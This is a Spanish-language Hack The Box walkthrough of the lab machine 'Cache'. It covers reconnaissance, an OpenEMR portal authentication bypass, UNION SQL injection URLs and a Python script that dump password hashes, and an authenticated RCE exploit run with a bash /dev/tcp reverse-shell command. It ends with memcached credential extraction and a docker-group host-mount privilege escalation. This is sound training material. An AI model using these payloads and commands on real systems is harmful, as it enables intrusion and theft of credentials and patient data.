Post

Hack The Box Cache

Cache

Se procede con la fase de reconocimiento lanzando primeramente un ping a la dirección IP 10.10.10.188.

1
2
3
4
5
6
7
❯ ping -c 1 10.10.10.188
PING 10.10.10.188 (10.10.10.188) 56(84) bytes of data.
64 bytes from 10.10.10.188: icmp_seq=1 ttl=63 time=132 ms

--- 10.10.10.188 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 132.404/132.404/132.404/0.000 ms

De acuerdo con el TTL de traza ICMP, se puede determinar que se trata de una máquina con sistema operativo Linux. A continuación se procede con la ejecución de nmap para determinar los puertos abiertos de la máquina y exportanto la información al archivo allPorts.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ nmap -p- --open -T5 -v -n 10.10.10.188 -oG allPorts
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-28 13:56 CST
Initiating Ping Scan at 13:56
Scanning 10.10.10.188 [4 ports]
Completed Ping Scan at 13:56, 0.15s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 13:56
Scanning 10.10.10.188 [65535 ports]
Discovered open port 80/tcp on 10.10.10.188
Discovered open port 22/tcp on 10.10.10.188
Completed SYN Stealth Scan at 13:56, 35.69s elapsed (65535 total ports)
Nmap scan report for 10.10.10.188
Host is up (0.13s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 36.00 seconds
           Raw packets sent: 68299 (3.005MB) | Rcvd: 68296 (2.732MB)

Mediante la función extractPorts definida a nivel de zsh , se obtiene la información más relevante de la captura grepeable.

1
2
3
4
5
6
7
8
9
10
11
12
❯ extractPorts allPorts
───────┬─────────────────────────────────────
       │ File: extractPorts.tmp
       │ Size: 117 B
───────┼─────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.10.188
   5   │     [*] Open ports: 22,80
   6   │ 
   7   │ [*] Ports copied to clipboard

A continuación se lanza una serie de scripts para determinar el servicio y versión que corren para los puertos detectados.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ nmap -sCV -p22,80 10.10.10.188 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-28 13:58 CST
Nmap scan report for 10.10.10.188
Host is up (0.13s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a9:2d:b2:a0:c4:57:e7:7c:35:2d:45:4d:db:80:8c:f1 (RSA)
|   256 bc:e4:16:3d:2a:59:a1:3a:6a:09:28:dd:36:10:38:08 (ECDSA)
|_  256 57:d5:47:ee:07:ca:3a:c0:fd:9b:a8:7f:6b:4c:9d:7c (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Cache
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.60 seconds

Tenemos el puerto 80 abierto, por lo tanto, antes de ver el contenido vía web, vamos a ver a lo que nos enfrentamos con la herramienta whatweb:

1
2
❯ whatweb http://10.10.10.188/
http://10.10.10.188/ [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.10.188], Script, Title[Cache]

No vemos nada interesante, así que ahora si veamos el contenido con nuestro navegador.

""

Aquí el sitio ya nos da una pista, ya que el texto en marquee nos hace la referencia a Virtual hosting; por lo tanto, en nuestro archivo /etc/hosts agregamos dicho dominio y probamos a ver el contenido nuevamente. Para este caso no vemos nada interesante, así que investigando un poco el sitio web, en la parte de author.html, tenemos lo siguiente:

""

Nos indica que existen otros proyectos como el HMS (Hospital Management System); por lo que podríamos probar a meter el dominio hms.htb a nuestro archivo host y ver que pasa si accedemos a este.

""

Hemos ingresado al panel de login de OpenEMR y si buscamos credenciales default tenemos admin:pass; sin embargo no jalan. Así que vamos a pensar que necesitamos encontrar credenciales válidas de acceso antes de tirar por otro lado; así que vamos a hacer fuzzing del dominio principal para empezar cache.htb.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
❯ wfuzz -c -t 200 --hc=404 --hw=973 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://cache.htb/FUZZ
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://cache.htb/FUZZ
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                         
=====================================================================

000001073:   301        9 L      28 W       311 Ch      "javascript"                                                    
000065593:   301        9 L      28 W       307 Ch      "jquery"                                                        
000095524:   403        9 L      28 W       274 Ch      "server-status"                                                 

Total time: 299.9204
Processed Requests: 220560
Filtered Requests: 220557
Requests/sec.: 735.3950

Validando los recursos vía web, obsevamos una credenciales ash:H@v3_fun y como siempre vamos a guardarlas para no olvidarlas.

""

Si recordamos, el sitio web tiene un panel de login, por lo que podríamos probar a ver si tenemos suerte.

""

Podriamos pensar en esteganografía, pero no hay nada; sin embargo, vamos a mantener las credenciales por si el usuario existe a nivel de sistema.

Buscando vulnerabilidades para OpenEMR, nos encontramos con el recurso open-emr, en especial con la parte 2.0 - Patient Portal Authentication Bypass, en donde nos dice que debe de existir un Patient Portal Login; por lo tanto, vamos a realizar un fuzzing para tratar de descubrir el directorio.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
❯ nmap --script http-enum -p80 hms.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-12 18:29 CST
Nmap scan report for hms.htb (10.10.10.188)
Host is up (0.14s latency).
rDNS record for 10.10.10.188: cache.htb

PORT   STATE SERVICE
80/tcp open  http
| http-enum: 
|   /admin.php: Possible admin folder
|   /common/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|   /config/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|   /custom/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|   /images/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|   /library/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|   /modules/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|   /portal/: Potentially interesting folder
|   /public/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|   /services/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|   /sites/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|   /sql/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|   /templates/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|   /tests/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|_  /vendor/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'

Nmap done: 1 IP address (1 host up) scanned in 13.17 seconds

Aquí el que ya nos debería llamar la atención sería /portal/, por lo tanto, vamos a hacer otra vez fuzzing sobre este recurso.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
❯ nmap --script http-enum --script-args http-enum.basepath="portal/" -p80 hms.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-12 18:35 CST
Nmap scan report for hms.htb (10.10.10.188)
Host is up (0.14s latency).
rDNS record for 10.10.10.188: cache.htb

PORT   STATE SERVICE
80/tcp open  http
| http-enum: 
|   /portal/account/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|   /portal/images/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|   /portal/lib/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|   /portal/messaging/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|_  /portal/report/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'

Nmap done: 1 IP address (1 host up) scanned in 13.41 seconds

Uno recurso que ya nos llama la atención sería /portal/account/. Vamos a validar.

""

De acuerdo con lo que nos indica el documento, podríamos acceder a los recursos que nos indica, como por ejemplo add_edit_event_user.php bajo la ruta /portal/; así que vamos a checar.

""

Nos aplica un redirect hacia http://hms.htb/portal/index.php?site=&w. Con base al documento, nos dice que para hacer un bypass de este panel de login/registro, tenemos que ir a /portal/account/ y seleccionar el archivo register.php, posteriormente tratar de visualizar otro recurso de los que nos indica y conseguimos que no nos aplique un redirect hacia el panel de login.

""

Podemos acceder a recursos para los cuales necesitaríamos habernos logueado pero sin la necesidad de hacerlo. Continuando leyendo el documento, nos indica que podemos realizar inyecciones SQL para el recurso add_edit_event_user.php debido a una inadecuada configuración del parámetro eid; por lo tanto, vamos a probar lo siguiente:

  • http://hms.htb/portal/add_edit_event_user.php?eid=1 order by 100-- - Nos manda un error de la base de datos, esto es porque no existen 100 columnas.
  • http://hms.htb/portal/add_edit_event_user.php?eid=1 order by 4-- - Vemos otra respuesta de acuerdo con la anterior, por lo tanto, podríamos suponer que se tienen 4 columnas.
  • http://hms.htb/portal/add_edit_event_user.php?eid=1 union select 1,2,3,4-- - No vemos los campos 1,2,3 y 4; por lo que vamos a tratar de adivinar en que posiciión podríamos observar algo. Si seguimos probando, no vemos nada.
  • http://hms.htb/portal/add_edit_event_user.php?eid=1 union select null,null,database(),null-- - Reemplazamos los números por el valor null y vemos que en el campo 3 tenemos resultados y el nombre de la base de datos actualmente en uso es openemr.
  • http://hms.htb/portal/add_edit_event_user.php?eid=1 union select null,null,(select table_name from information_schema.tables where table_schema="openemr" limit 0,1),null-- - Empezamos a listar los nombre de las tablas dentro de la base de datos openemr y nos desplazamos por ellas con los valores de limit. Para no llevarnos una eternidad enumerando las tablas, vamos a crearnos un script en python que nos ayude a visualizar las tablas.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/python3
#coding:utf-8

import sys,requests,signal,re

def def_handler(sig,frame):
    print("\n[*] Saliendo...")
    sys.exit(1)

signal.signal(signal.SIGINT,def_handler)

url_register = "http://hms.htb/portal/account/register.php"
url_sqli = "http://hms.htb/portal/add_edit_event_user.php"

def makeRequest(numeroTablas):
    s = requests.session()
    r = s.get(url_register)
    for i in range(0,int(numeroTablas)):
        url = url_sqli + '?eid=1 union select null,null,(select table_name from information_schema.tables where table_schema="openemr" limit {},1),null-- -'.format(i)
        try:
            r=s.get(url)
            tableName = re.findall(r'Unknown column (\'.*?\')',r.text)[0].replace("'","")
        except:
            tableName=""
        print("Tabla No {}: {}".format(i,tableName))

if __name__=='__main__':
    numeroTablas = input("El número de tablas a ver: ")
    makeRequest(numeroTablas)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
❯ python3 sqli_cache.py
El número de tablas a ver: 250
Tabla No 0: addresses
Tabla No 1: amc_misc_data
Tabla No 2: amendments
Tabla No 3: amendments_history
Tabla No 4: ar_activity
Tabla No 5: ar_session
Tabla No 6: array
Tabla No 7: audit_details
Tabla No 8: audit_master
Tabla No 9: automatic_notification
Tabla No 10: background_services
---
Tabla No 220: template_users
Tabla No 221: therapy_groups
Tabla No 222: therapy_groups_counselors
Tabla No 223: therapy_groups_participant_attendance
Tabla No 224: therapy_groups_participants
Tabla No 225: transactions
Tabla No 226: user_settings
Tabla No 227: users
Tabla No 228: users_facility
Tabla No 229: users_secure
Tabla No 230: valueset
Tabla No 231: version
Tabla No 232: voids
Tabla No 233: x12_partners
---
Tabla No 248: 
Tabla No 249:

Tenemos tablas que nos pueden llamar la atención, como users y users_secure.

  • http://hms.htb/portal/add_edit_event_user.php?eid=1 union select null,null,(select column_name from information_schema.columns where table_name="users_secure" and table_schema="openemr" limit 0,1),null-- - Vemos que no le gusta al servidor, por lo que vamos a cambiar un poco la expresión.
  • http://hms.htb/portal/add_edit_event_user.php?eid=1 union select null,null,(select column_type from information_schema.columns where table_name="users_secure" and table_schema="openemr" limit 0,1),null-- - Vemos que si nos acepta el tipo de dato de la columna, que para este caso es bigint(20).
  • http://hms.htb/portal/add_edit_event_user.php?eid=1 union select null,null,(select concat(column_name,0x3a,column_type) from information_schema.columns where table_name="users_secure" and table_schema="openemr" limit 0,1),null-- - Ahora podemos ver el nombre de la columna con el tipo de la misma separadas por dos puntos.
    • id
    • username
    • password
    • salt
    • last_update
    • password_history1
    • salt_history1
    • password_history2
    • salt_history2
  • http://hms.htb/portal/add_edit_event_user.php?eid=1 union select null,null,(select concat(username,0x3a,password,0x3a,salt) from users_secure limit 0,1),null-- - Obtenemos los datos de la tabla en el formato username:password:salt.

Con esto, tenemos el usuairo openemr_admin y un hash, el cual vamos a tratar de romper con john:

1
2
3
4
5
6
7
8
9
10
❯ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 32 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
xxxxxx           (openemr_admin)
1g 0:00:00:00 DONE (2022-03-12 20:27) 6.250g/s 5400p/s 5400c/s 5400C/s caitlin..felipe
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Ya tenemos unas credenciales openemr_admin : xxxxxx, por lo que vamos a validarlas en el panel de login de openEMR.

""

Ya ingresamos al panel de administración de openEMR. En el campo About vemos que nos enfrentamos a un OpenEMR v5.0.1 (3), así que vamos a buscar posibles exploits que nos ayuden a ingresar al sistema.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ searchsploit openemr 5.0.1
----------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                 |  Path
----------------------------------------------------------------------------------------------- ---------------------------------
OpenEMR 5.0.1 - 'controller' Remote Code Execution                                             | php/webapps/48623.txt
OpenEMR 5.0.1 - Remote Code Execution (1)                                                      | php/webapps/48515.py
OpenEMR 5.0.1 - Remote Code Execution (Authenticated) (2)                                      | php/webapps/49486.rb
OpenEMR 5.0.1.3 - 'manage_site_files' Remote Code Execution (Authenticated)                    | php/webapps/49998.py
OpenEMR 5.0.1.3 - 'manage_site_files' Remote Code Execution (Authenticated) (2)                | php/webapps/50122.rb
OpenEMR 5.0.1.3 - (Authenticated) Arbitrary File Actions                                       | linux/webapps/45202.txt
OpenEMR 5.0.1.3 - Authentication Bypass                                                        | php/webapps/50017.py
OpenEMR 5.0.1.3 - Remote Code Execution (Authenticated)                                        | php/webapps/45161.py
OpenEMR 5.0.1.7 - 'fileName' Path Traversal (Authenticated)                                    | php/webapps/50037.py
OpenEMR 5.0.1.7 - 'fileName' Path Traversal (Authenticated) (2)                                | php/webapps/50087.rb
----------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

Vemos varios que nos pueden ayudar y que requerimos de credenciales, las cuales ya las tenemos, así que vamos a descargarnos uno.

1
2
3
4
5
6
7
8
❯ searchsploit -m php/webapps/45161.py
  Exploit: OpenEMR 5.0.1.3 - Remote Code Execution (Authenticated)
      URL: https://www.exploit-db.com/exploits/45161
     Path: /usr/share/exploitdb/exploits/php/webapps/45161.py
File Type: ASCII text

Copied to: /home/k4miyo/Documentos/HTB/Cache/exploits/45161.py
❯ mv 45161.py openemr_rce.py

Si lo ejecutamos:

1
2
3
❯ python2 openemr_rce.py
usage: openemr_rce.py [-h] [-u USER] [-p PASSWORD] [-c CMD] host
openemr_rce.py: error: the following arguments are required: host

Vemos que nos pide algunos parámetros e incluso, si le echamos un ojo al exploit, nos da un ejemplo de uso para obtener una reverse shell, así que vamos a seguirlo y de paso, nos ponemos en escucha por el puerto 443.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ python2 openemr_rce.py http://hms.htb/ -u openemr_admin -p xxxxxx -c 'nohup bash -i >& /dev/tcp/10.10.14.27/443 0>&1 &'
 .---.  ,---.  ,---.  .-. .-.,---.          ,---.    
/ .-. ) | .-.\ | .-'  |  \| || .-'  |\    /|| .-.\   
| | |(_)| |-' )| `-.  |   | || `-.  |(\  / || `-'/   
| | | | | |--' | .-'  | |\  || .-'  (_)\/  ||   (    
\ `-' / | |    |  `--.| | |)||  `--.| \  / || |\ \   
 )---'  /(     /( __.'/(  (_)/( __.'| |\/| ||_| \)\  
(_)    (__)   (__)   (__)   (__)    '-'  '-'    (__) 
                                                       
   ={   P R O J E C T    I N S E C U R I T Y   }=    
                                                       
         Twitter : @Insecurity                       
         Site    : insecurity.sh                     

[$] Authenticating with openemr_admin:xxxxxx
[$] Injecting payload
[$] Payload executed
1
2
3
4
5
6
7
8
9
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.27] from (UNKNOWN) [10.10.10.188] 54140
bash: cannot set terminal process group (1587): Inappropriate ioctl for device
bash: no job control in this shell
www-data@cache:/var/www/hms.htb/public_html/interface/main$ whoami
whoami
www-data
www-data@cache:/var/www/hms.htb/public_html/interface/main$

Ya nos encontramos dentro de la máquina y para trabajar mejor, vamos a hacer un Tratamiento de la tty. Si vemos los usuarios del sistema, vemos que efectivamente se encontraba ash, por lo que podriamos tratar de migrar a dicho usuario con las credenciales que tenemos.

1
2
3
4
5
6
7
8
9
10
www-data@cache:/var/www/hms.htb/public_html/interface/main$ cat /etc/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
ash:x:1000:1000:ash:/home/ash:/bin/bash
luffy:x:1001:1001:,,,:/home/luffy:/bin/bash
www-data@cache:/var/www/hms.htb/public_html/interface/main$
www-data@cache:/var/www/hms.htb/public_html/interface/main$ su ash
Password: 
ash@cache:/var/www/hms.htb/public_html/interface/main$ whoami
ash
ash@cache:/var/www/hms.htb/public_html/interface/main$ 

Ya somos el usuario ash y podemos visualizar la flag (user.txt). Ahora vamos a enumerar un poco el sistema para ver de que forma nos podemos convertir en root.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
ash@cache:/$ id
uid=1000(ash) gid=1000(ash) groups=1000(ash)
ash@cache:/$ sudo -l
[sudo] password for ash: 
ash@cache:/$
ash@cache:/$ find \-perm -4000 2>/dev/null                                                                                       
./bin/su                                                                                                                         
./bin/fusermount                                                                                                                 
./bin/mount                                                                                                                      
./bin/ping
./bin/umount
./snap/core/9436/bin/mount
./snap/core/9436/bin/ping
./snap/core/9436/bin/ping6
./snap/core/9436/bin/su
./snap/core/9436/bin/umount
./snap/core/9436/usr/bin/chfn
./snap/core/9436/usr/bin/chsh
./snap/core/9436/usr/bin/gpasswd 
./snap/core/9436/usr/bin/newgrp
./snap/core/9436/usr/bin/passwd
./snap/core/9436/usr/bin/sudo
./snap/core/9436/usr/lib/dbus-1.0/dbus-daemon-launch-helper
./snap/core/9436/usr/lib/openssh/ssh-keysign
./snap/core/9436/usr/lib/snapd/snap-confine
./snap/core/9436/usr/sbin/pppd
./snap/core/9993/bin/mount
./snap/core/9993/bin/ping
./snap/core/9993/bin/ping6
./snap/core/9993/bin/su
./snap/core/9993/bin/umount
./snap/core/9993/usr/bin/chfn
./snap/core/9993/usr/bin/chsh
./snap/core/9993/usr/bin/gpasswd 
./snap/core/9993/usr/bin/newgrp
./snap/core/9993/usr/bin/passwd
./snap/core/9993/usr/bin/sudo
./snap/core/9993/usr/lib/dbus-1.0/dbus-daemon-launch-helper
./snap/core/9993/usr/lib/openssh/ssh-keysign
./snap/core/9993/usr/lib/snapd/snap-confine
./snap/core/9993/usr/sbin/pppd
./usr/bin/newgidmap
./usr/bin/newuidmap
./usr/bin/passwd
./usr/bin/traceroute6.iputils
./usr/bin/newgrp
./usr/bin/gpasswd
./usr/bin/chfn
./usr/bin/pkexec
./usr/bin/chsh
./usr/bin/at
./usr/bin/sudo
./usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
./usr/lib/snapd/snap-confine
./usr/lib/dbus-1.0/dbus-daemon-launch-helper
./usr/lib/policykit-1/polkit-agent-helper-1
./usr/lib/eject/dmcrypt-get-device
./usr/lib/openssh/ssh-keysign
ash@cache:/$

Dentro de los permisos SUID vemos el pkexec; sin embargo, vamos a tratar de resolver la máquina como esta pensada; por lo tanto, vamos a ver los procesos que están corriendo en el sistema.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
ash@cache:/$ ps -faux                                                                                                            
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND                       
root         2  0.0  0.0      0     0 ?        S    Mar12   0:00 [kthreadd]                                                      
root         4  0.0  0.0      0     0 ?        I<   Mar12   0:00  \_ [kworker/0:0H]
root         6  0.0  0.0      0     0 ?        I<   Mar12   0:00  \_ [mm_percpu_wq]       
root         7  0.0  0.0      0     0 ?        S    Mar12   0:00  \_ [ksoftirqd/0]                       
root         8  0.0  0.0      0     0 ?        I    Mar12   0:03  \_ [rcu_sched]       
root         9  0.0  0.0      0     0 ?        I    Mar12   0:00  \_ [rcu_bh]                                                    
root        10  0.0  0.0      0     0 ?        S    Mar12   0:00  \_ [migration/0]                                               
root        11  0.0  0.0      0     0 ?        S    Mar12   0:00  \_ [watchdog/0]                 
root        12  0.0  0.0      0     0 ?        S    Mar12   0:00  \_ [cpuhp/0]    
root        13  0.0  0.0      0     0 ?        S    Mar12   0:00  \_ [cpuhp/1]       
root        14  0.0  0.0      0     0 ?        S    Mar12   0:00  \_ [watchdog/1]   
root        15  0.0  0.0      0     0 ?        S    Mar12   0:00  \_ [migration/1]                                               
root        16  0.0  0.0      0     0 ?        S    Mar12   0:00  \_ [ksoftirqd/1]                      
root        18  0.0  0.0      0     0 ?        I<   Mar12   0:00  \_ [kworker/1:0H]
root        19  0.0  0.0      0     0 ?        S    Mar12   0:00  \_ [kdevtmpfs]
---
root       970  0.0  0.2  88228  9560 ?        Ss   Mar12   0:00 /usr/bin/VGAuthService
root      1007  0.0  0.4 169100 17192 ?        Ssl  Mar12   0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-trig
memcache  1008  0.0  0.0 425792  3944 ?        Ssl  Mar12   0:04 /usr/bin/memcached -m 64 -p 11211 -u memcache -l 127.0.0.1 -P /v
root      1024  0.0  0.0 110548  2040 ?        Ssl  Mar12   0:00 /usr/sbin/irqbalance --foreground
root      1025  0.0  0.0  30028  3252 ?        Ss   Mar12   0:00 /usr/sbin/cron -f
root      1028  0.0  0.7 859748 29648 ?        Ssl  Mar12   0:02 /usr/lib/snapd/snapd
root      1029  0.0  0.9 883080 39136 ?        Ssl  Mar12   0:02 /usr/bin/containerd
root      1032  0.0  0.4 185944 20180 ?        Ssl  Mar12   0:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgra
root      1098  0.0  0.1 288884  6536 ?        Ssl  Mar12   0:00 /usr/lib/policykit-1/polkitd --no-debug
root      1178  0.0  0.1  72300  5676 ?        Ss   Mar12   0:00 /usr/sbin/sshd -D
root      1179  0.0  0.0  14888  1964 tty1     Ss+  Mar12   0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
mysql     1228  0.1  6.5 1628852 265532 ?      Sl   Mar12   0:19 /usr/sbin/mysqld --daemonize --pid-file=/run/mysqld/mysqld.pid
root      1587  0.0  0.4 364496 19788 ?        Ss   Mar12   0:00 /usr/sbin/apache2 -k start
---

Uno que ya nos llama la atención es memcache, así que vamos a buscar un poco de que se trata y que podemos hacer. Encontramos el recurso lzone.de en donde nos indica que informarción podemos obtener. Asi que primero vamos a conectarnos vía telnet.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
ash@cache:/$ telnet 127.0.0.1 11211
Trying 127.0.0.1...     
Connected to 127.0.0.1.     
Escape character is '^]'.                                       
stats                                                           
STAT pid 1008                                                   
STAT uptime 14578              
STAT time 1647140837                                            
STAT version 1.5.6 Ubuntu   
STAT libevent 2.1.8-stable
STAT pointer_size 64      
STAT rusage_user 1.812221   
STAT rusage_system 2.446285                                     
STAT max_connections 1024
STAT curr_connections 1  
STAT total_connections 246
STAT rejected_connections 0
STAT connection_structures 2
STAT reserved_fds 20
---
STAT moves_to_warm 0
STAT moves_within_lru 0
STAT direct_reclaims 0
STAT lru_bumps_dropped 0
END

Leyendo un poco, vemos que podemos obtener unas keys con el comando stats items:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
stats items
STAT items:1:number 5
STAT items:1:number_hot 0
STAT items:1:number_warm 0
STAT items:1:number_cold 5
STAT items:1:age_hot 0
STAT items:1:age_warm 0
STAT items:1:age 57
STAT items:1:evicted 0
STAT items:1:evicted_nonzero 0
STAT items:1:evicted_time 0
STAT items:1:outofmemory 0
STAT items:1:tailrepairs 0
STAT items:1:reclaimed 0
STAT items:1:expired_unfetched 0
STAT items:1:evicted_unfetched 0
STAT items:1:evicted_active 0
STAT items:1:crawler_reclaimed 0
STAT items:1:crawler_items_checked 84
STAT items:1:lrutail_reflocked 0
STAT items:1:moves_to_cold 1225
STAT items:1:moves_to_warm 0
STAT items:1:moves_within_lru 0
STAT items:1:direct_reclaims 0
STAT items:1:hits_to_hot 0
STAT items:1:hits_to_warm 0
STAT items:1:hits_to_cold 0
STAT items:1:hits_to_temp 0
END

En este caso, vemos que solo tenemos el item número 1 (definida mejor como clase). Y para dumpear las keys, aplicamos el comando stats cachedump <slab class> <number of items to dump>, que sería stats cachedump 1 0 (el 0 es para ir probando).

1
2
3
4
5
6
7
stats cachedump 1 0
ITEM link [21 b; 0 s]
ITEM user [5 b; 0 s]
ITEM passwd [9 b; 0 s]
ITEM file [7 b; 0 s]
ITEM account [9 b; 0 s]
END

Vemos un campo user y uno de passwd. Para obtener su valor, ocupamos el comando get:

1
2
3
4
5
6
7
8
get user
VALUE user 0 5
luffy
END
get passwd
VALUE passwd 0 9
0n3_p1ec3
END

Tenemos la credencial luffy : 0n3_p1ec3; por lo que podríamos tratar de migrar a dicho usuario.

1
2
3
4
5
ash@cache:/$ su luffy
Password: 
luffy@cache:/$ whoami
luffy
luffy@cache:/$

Nos convertimos en el usuario luffy y vemos que se encuentra en el grupo docker.

1
2
3
luffy@cache:/$ id
uid=1001(luffy) gid=1001(luffy) groups=1001(luffy),999(docker)
luffy@cache:/$

Por lo tanto, ya tenemos una posible vía para convertirnos en root creando un contenedor (en este caso ya lo tenemos) y crear una montura dentro del contener de la raiz del sistema principal; con esto, podemos ingresar al contenedor como root y modificar cualquier archivo, incluyendo la montura.

1
2
3
4
5
6
7
8
luffy@cache:/$ docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
ubuntu              latest              2ca708c1c9cc        2 years ago         64.2MB
luffy@cache:/$ docker ps
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES
luffy@cache:/$ docker ps -a
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES
luffy@cache:/$

Aprovechamos la imagen que ya esta ubuntu y creamos el contenedor.

1
2
3
4
5
6
luffy@cache:/$ docker run --rm -dit --name privesc ubuntu
9c85c1a826d694eebb3ba9f0cc84c1b52f6db278ef6f02009f390d7737862726
luffy@cache:/$ docker ps
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES
9c85c1a826d6        ubuntu              "/bin/bash"         4 seconds ago       Up 1 second                             privesc
luffy@cache:/$

De forma interactiva nos desplegamos una /bin/bash para nuestro contenedor privesc.

1
2
luffy@cache:/$ docker exec -it privesc /bin/bash
root@9c85c1a826d6:/#

Creamos la montura de la raiz del sistema principal; por lo que antes paramos el contenedor y creamos uno nuevo:

1
2
3
4
5
6
7
8
9
luffy@cache:/$ docker ps -a
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES
9c85c1a826d6        ubuntu              "/bin/bash"         4 minutes ago       Up 4 minutes                            privesc
luffy@cache:/$
luffy@cache:/$ docker stop privesc
privesc
luffy@cache:/$ docker ps -a
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES
luffy@cache:/$
1
2
3
4
luffy@cache:/$ docker run --rm -v /:/mnt/root -dit --name privesc ubuntu
6ab913d0e201d03cb938fb723f06414f1463196ac686112681978899fdccf2cf
luffy@cache:/$ docker exec -it privesc /bin/bash
root@6ab913d0e201:/#

Ahora si checamos el recurso /mnt/root/ dentro del contenedor, tenemos montado la raiz del sistema principal.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
root@6ab913d0e201:/# ls -l /mnt/root/
total 1645660
drwxr-xr-x   2 root root       4096 Jul  9  2020 bin
drwxr-xr-x   3 root root       4096 Sep 16  2020 boot
drwxr-xr-x  18 root root       3900 Mar 12 23:04 dev
drwxr-xr-x  99 root root       4096 Jul  9  2020 etc
drwxr-xr-x   4 root root       4096 Sep 17  2019 home
lrwxrwxrwx   1 root root         34 Jul  9  2020 initrd.img -> boot/initrd.img-4.15.0-109-generic
